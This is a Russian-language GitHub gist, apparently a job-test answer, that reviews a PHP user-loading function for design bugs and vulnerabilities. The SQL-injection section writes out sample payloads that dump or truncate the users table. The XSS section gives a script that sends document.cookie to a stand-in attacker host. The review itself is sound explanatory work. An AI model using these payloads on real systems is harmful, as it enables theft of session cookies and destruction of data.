Skip to content

Instantly share code, notes, and snippets.

@BrightMilk
Last active July 25, 2022 06:56
Show Gist options
  • Select an option

  • Save BrightMilk/01be93d6a0d7e32521e59c1314caba6c to your computer and use it in GitHub Desktop.

Select an option

Save BrightMilk/01be93d6a0d7e32521e59c1314caba6c to your computer and use it in GitHub Desktop.
Задание №2 для B2B-Center

Решение задания 2

Баги

  • Функция load_users_data() содержит как уровень бизнес-логики, так и persistence-уровень:
    • Обработка входных данных (разделение аргумента $user_ids на массив идентификаторов).
    • Создание подключения к базе данных (mysqli_connect()).
    • Формирование SQL-запроса и его выполнение.
    • Обработка результов выполнения запросов.
  • Нет проверки типа переменной, передаваемой в качестве аргумента.
  • Хранение credentials для доступа к хранилищу данных непосредственно в коде.
  • Создание подключения внутри конструкции foreach: в рамках каждой итерации создается соединение и разрывается в конце.
  • Избыточное использование конструкции while в рамках SQL-запроса, который возвразается ровно один объект с информацией о конкретном пользователе.

Уязвимости

  • Данная функция подвержена следующим уязвимостям:
    • SQL-инъекция.
    • XSS.

SQL-инъекция

Отсутствие проверки значения переменной $user_id на наличие данной уязвимости.

Пример 1

Пусть $user_ids содержит следующую информацию: "1,2,3,4,-1 or 1=1". В таком случае SQL-запрос, выполняющий запрос на поиск данных по последнему идентификатору, будет выглядеть так:

SELECT * FROM users WHERE id=-1 or 1=1;

Такой запрос возвращает содержимое всей таблицы Users.

Пример 2

Пусть $user_ids содержит следующую информацию: "1,2,3,4,or 1=1; truncate table users;". В таком случае SQL-запрос, выполняющий запрос на поиск данных по последнему идентификатору, будет выглядеть так:

SELECT * FROM users WHERE id=-1 or 1=1; truncate table users;

Такой запрос может полностью очистить таблицу Users.

Хотя в данном случае, возможно, mysqli_query() не сможет выполнить два запроса в рамках одного, но все равно уязвимость присутствует.

XSS

Отсутствие проверки и экранирования специальных символов, которые могут содержаться в переменной $user_id и которые могут интерпретироваться браузером, как HTML-сущности. Если $user_ids будет содержать следующую информацию

<script>document.location="http://attackerhost.example/cookiesteal?"+document.cookie</script>

, то без применения экранирования тега <script> такой код отправит cookie-файлы на удаленный сервер злоумышленника.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment